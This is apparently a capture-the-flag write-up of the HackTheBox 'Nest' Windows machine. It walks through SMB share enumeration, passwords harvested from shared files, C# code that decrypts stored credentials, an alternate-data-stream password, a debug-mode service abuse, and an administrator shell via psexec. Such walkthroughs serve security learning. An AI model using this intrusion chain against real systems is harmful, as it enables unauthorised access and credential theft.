Nest - Easy HTB
Nest (Easy)
Windows ‘easy’ machine from HackTheBox to prep Dante pro lab.
Scanning
let’s run an simple nmap scan on the 1000 most cummon ports: nmap -sC -sV -Pn -T4 --max-retries 1 target_ip
1
2
3
4
5
6
7
8
9
445/tcp open microsoft-ds?
Host script results:
| smb2-time:
| date: 2023-09-21T15:38:34
|_ start_date: 2023-09-21T15:32:17
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
another for scan all port on the target system. nmap -p- -T4 -Pn target_ip -sV
there is another open port on the machine we will look at this later.
1
4386/tcp open unknown
Samba share enumeration
let’s enumerate smb share anonymously on the target. smbclient -L //target_ip/
1
2
3
4
5
6
7
8
9
10
Password for [WORKGROUP\root]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Data Disk
IPC$ IPC Remote IPC
Secure$ Disk
Users Disk
Try to connect on the “Data” share anonymously: smbclient //10.10.10.178/Data
Once this makes you download all the share count in your attacking machine.
1
2
3
4
5
prompt off
recurse on
mget *
An interested file will leak us a password, that of the user TempUser.
cat Shared/Templates/HR/Welcome\ Email.txt
Let’s run another scan of the smb shares but this time with the identifiers found.
smbmap -H target_ip -u 'TempUser' -p 'welcome2019'
1
2
3
4
5
6
7
8
9
10
11
12
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)
[+] IP: 10.10.10.178:445 Name: 10.10.10.178
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
Data READ ONLY
IPC$ NO ACCESS Remote IPC
Secure$ READ ONLY
Users READ ONLY
Let’s navigate on the Users share : smbclient //target_ip/Users -U "TempUser%welcome2019"
We have logically accessed the TempUser directory but thanks to this we can create a list of users in the targeted system.
Now let’s go to the “Data” share, download all the local sharing accounts.
1
2
3
4
5
6
7
8
smbclient //target_ip/Data -U "TempUser%welcome2019"
#smbclient shell
prompt on
recuse on
mget *
We can see that there is quite a lot contained in the repertoire “IT” let’s see.
In the /IT/NotepasPlusPlus, if you pay attention you can see that there is a reference a file that we do not have access to in/IT (I struggled to find^^)
1
2
3
4
5
<History nbMaxFile="15" inSubMenu="no" customLength="-1">
<File filename="C:\windows\System32\drivers\etc\hosts" />
<File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
<File filename="C:\Users\C.Smith\Desktop\todo.txt" />
</History>
If we try to connect to it with smbclient we will have access to the/Carl repertoire:
1
2
3
4
smbclient //Target_ip/Secure$/ -U "TempUser%welcome2019"
#on the smb client shell
cd IT\Carl
You can download the entire count from the Carl directory for local analysis. But we haven’t finished digging through the “data” directory. If you navigate to the directory /’RU Scanner’ you would find a config file containing a password that looks like Base64 try to decode it
1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat RU_config.xml
#result
<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Port>389</Port>
<Username>c.smith</Username>
<Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>
#Try to decode the password
echo "fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=" | base64 -d"
#result
}13��=X�J�BA�X*�Wc�f���?βc
Humm ok this password is not encoded it is encrypted.
Decrypt password and Foothold
If we search in the /Carl directory we have downloaded we can go in the /VB Projects directory. in this directory it finds a file called “utils.vb” which is actually a code that will be used to encrypt/decrypt a password one can think that we can try to decrypt the password found with this code. I asked chatGPT to re encode the code in C#(given that I do not know the C#) and therefore see the code that worked for me.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
public class Utils
{
public static void Main(string[] args)
{
string plainText = "Hello, World!";
string encryptedText = EncryptString(plainText);
Console.WriteLine("Texte chiffré : " + encryptedText);
string decryptedText = DecryptString(encryptedText);
Console.WriteLine("Texte déchiffré : " + decryptedText);
}
public static string GetLogFilePath()
{
return Path.Combine(Environment.CurrentDirectory, "Log.txt");
}
public static string DecryptString(string EncryptedString)
{
if (string.IsNullOrEmpty(EncryptedString))
{
return string.Empty;
}
else
{
return Decrypt("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=", "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256);
}
}
public static string EncryptString(string PlainString)
{
if (string.IsNullOrEmpty(PlainString))
{
return string.Empty;
}
else
{
return Encrypt(PlainString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256);
}
}
public static string Encrypt(string plainText, string passPhrase, string saltValue, int passwordIterations, string initVector, int keySize)
{
byte[] initVectorBytes = Encoding.ASCII.GetBytes(initVector);
byte[] saltValueBytes = Encoding.ASCII.GetBytes(saltValue);
byte[] plainTextBytes = Encoding.UTF8.GetBytes(plainText);
var password = new Rfc2898DeriveBytes(passPhrase, saltValueBytes, passwordIterations);
byte[] keyBytes = password.GetBytes(keySize / 8);
using (var symmetricKey = new AesCryptoServiceProvider())
{
symmetricKey.Mode = CipherMode.CBC;
using (var encryptor = symmetricKey.CreateEncryptor(keyBytes, initVectorBytes))
{
using (var memoryStream = new MemoryStream())
{
using (var cryptoStream = new CryptoStream(memoryStream, encryptor, CryptoStreamMode.Write))
{
cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length);
cryptoStream.FlushFinalBlock();
byte[] cipherTextBytes = memoryStream.ToArray();
return Convert.ToBase64String(cipherTextBytes);
}
}
}
}
}
public static string Decrypt(string cipherText, string passPhrase, string saltValue, int passwordIterations, string initVector, int keySize)
{
byte[] initVectorBytes = Encoding.ASCII.GetBytes(initVector);
byte[] saltValueBytes = Encoding.ASCII.GetBytes(saltValue);
byte[] cipherTextBytes = Convert.FromBase64String(cipherText);
var password = new Rfc2898DeriveBytes(passPhrase, saltValueBytes, passwordIterations);
byte[] keyBytes = password.GetBytes(keySize / 8);
using (var symmetricKey = new AesCryptoServiceProvider())
{
symmetricKey.Mode = CipherMode.CBC;
using (var decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes))
{
using (var memoryStream = new MemoryStream(cipherTextBytes))
{
using (var cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Read))
{
byte[] plainTextBytes = new byte[cipherTextBytes.Length];
int decryptedByteCount = cryptoStream.Read(plainTextBytes, 0, plainTextBytes.Length);
return Encoding.UTF8.GetString(plainTextBytes, 0, decryptedByteCount);
}
}
}
}
}
}
To compile the code under linux you must install mono-devel: sudo apt install mono-devel
once this is done it is necessary to create a file . cs with the code C# in it, the compiled. the result of this command is a . exe to run and you will have the password decrypted.
1
2
3
4
5
6
7
mcs file.cs
./file.exe
#result
Texte chiffré : Cg85hlvTV8r+9G717Px1Gw==
Texte déchiffré : xRxRxPANCAK3SxRxRx
Log in with smbclient on the remote target to get the user flag.
1
2
3
4
5
6
smbclient //10.10.10.178/Users/ -U "c.smith%xRxRxPANCAK3SxRxRx"
#on smbclient
cd C.Smith\
get user.txt
Privileges escalation
In the user directory of c.smith we can find another directory called “HQK Reporting”, we can download all its account. A particularly interesting folder seems to contain a password “Debug Mode Password.txt” but when we read it nothing, by the way we can see at the time of download that it is bytes of storage sound a 0. let’s look at that.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
smb: \C.Smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time: Thu Aug 8 07:06:12 PM 2019 EDT
access_time: Thu Aug 8 07:06:12 PM 2019 EDT
write_time: Thu Aug 8 07:08:17 PM 2019 EDT
change_time: Wed Jul 21 02:47:12 PM 2021 EDT
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes
#download the second file
get "Debug Mode Password.txt:Password"
#cat the file
cat Debug\ Mode\ Password.txt:Password
#result
WBQ201953D8w
We found a password but what is it? we have another file named “HQK_Config_Backup.xml” they counted information on a networked application on port 4386 this is the port we put aside at the very beginning of challenges. Let’s connect on the port with telnet: telnet target_ip 4386
Everything becomes clearer now if we make a help in the shell we can see marked “debug” our password found serves therefore has activated the debug mode of this application.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
debug WBQ201953D8w
#go to the directory quoted in the file .xml
setdir C:\Program Files\HQK
#list the directory
list
#go the Ldap folder
setid LDAP
#view the content of Ldap.conf
showquery 2
#result
Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=
we found the administrator password but it seems encrypted try to decrypt it with our code earlier. To tell you the truth, it won’t work. return to our “HQK Reporting” file. a directory named “AD Integration Module” if finds and in it we have a binary named “HqkLdap.exe”, we will have to decouple it to have more information on the latter. To do this we will use the tool dnSpy on windows
once we reverse it let’s go to the sub-branch named “MainModule”. With chatgpt I could understand that the function “CR()” was called to do something related to encryption let’s see.
The code of this function is very similar to our code that we used to decrypt the password earlier, except that the data used to encrypt the data its different we will have to adapt our code later with the new data.
This code have work for me :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
public class Utils
{
public static void Main(string[] args)
{
// Point d'entrée du programme
// Vous pouvez mettre ici le code que vous souhaitez exécuter au démarrage de votre programme.
// Par exemple, vous pouvez appeler vos méthodes DecryptString et EncryptString ici.
string plainText = "yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=";
string encryptedText = EncryptString(plainText);
Console.WriteLine("Texte chiffré : " + encryptedText);
string decryptedText = DecryptString(encryptedText);
Console.WriteLine("Texte déchiffré : " + decryptedText);
}
public static string GetLogFilePath()
{
return Path.Combine(Environment.CurrentDirectory, "Log.txt");
}
public static string DecryptString(string EncryptedString)
{
if (string.IsNullOrEmpty(EncryptedString))
{
return string.Empty;
}
else
{
return Decrypt("yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=", "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256);
}
}
public static string EncryptString(string PlainString)
{
if (string.IsNullOrEmpty(PlainString))
{
return string.Empty;
}
else
{
return Encrypt(PlainString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256);
}
}
public static string Encrypt(string plainText, string passPhrase, string saltValue, int passwordIterations, string initVector, int keySize)
{
byte[] initVectorBytes = Encoding.ASCII.GetBytes(initVector);
byte[] saltValueBytes = Encoding.ASCII.GetBytes(saltValue);
byte[] plainTextBytes = Encoding.UTF8.GetBytes(plainText);
var password = new Rfc2898DeriveBytes(passPhrase, saltValueBytes, passwordIterations);
byte[] keyBytes = password.GetBytes(keySize / 8);
using (var symmetricKey = new AesCryptoServiceProvider())
{
symmetricKey.Mode = CipherMode.CBC;
using (var encryptor = symmetricKey.CreateEncryptor(keyBytes, initVectorBytes))
{
using (var memoryStream = new MemoryStream())
{
using (var cryptoStream = new CryptoStream(memoryStream, encryptor, CryptoStreamMode.Write))
{
cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length);
cryptoStream.FlushFinalBlock();
byte[] cipherTextBytes = memoryStream.ToArray();
return Convert.ToBase64String(cipherTextBytes);
}
}
}
}
}
public static string Decrypt(string cipherText, string passPhrase, string saltValue, int passwordIterations, string initVector, int keySize)
{
byte[] initVectorBytes = Encoding.ASCII.GetBytes(initVector);
byte[] saltValueBytes = Encoding.ASCII.GetBytes(saltValue);
byte[] cipherTextBytes = Convert.FromBase64String(cipherText);
var password = new Rfc2898DeriveBytes(passPhrase, saltValueBytes, passwordIterations);
byte[] keyBytes = password.GetBytes(keySize / 8);
using (var symmetricKey = new AesCryptoServiceProvider())
{
symmetricKey.Mode = CipherMode.CBC;
using (var decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes))
{
using (var memoryStream = new MemoryStream(cipherTextBytes))
{
using (var cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Read))
{
byte[] plainTextBytes = new byte[cipherTextBytes.Length];
int decryptedByteCount = cryptoStream.Read(plainTextBytes, 0, plainTextBytes.Length);
return Encoding.UTF8.GetString(plainTextBytes, 0, decryptedByteCount);
}
}
}
}
}
}
let’s compile it and run.
1
2
3
4
5
6
7
mcs file.cs
./file.exe
#result
Texte chiffré : bxjqyRhq7IDsx/0szydo2spMD5zuNojxxPgGgPrAZVpgPW4Xdq58LGDUCa1KMg7y
Texte déchiffré : XtH4nkS4Pl4y1nGX
let’s try to connect with administrator account on the target
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
psexec.py administrator:XtH4nkS4Pl4y1nGX@target_ip
Impacket for Exegol - v0.10.1.dev1+20230806.34223.faf17b2 - Copyright 2022 Fortra - forked by ThePorgs
[*] Requesting shares on 10.10.10.178.....
[*] Found writable share ADMIN$
[*] Uploading file EQURMurf.exe
[*] Opening SVCManager on 10.10.10.178.....
[*] Creating service ejeB on 10.10.10.178.....
[*] Starting service ejeB.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
#get the flag
C:\> type C:\Users\Administrator\Desktop\root.txt
Lets go we are Admin !! (easy machine Really 😅?)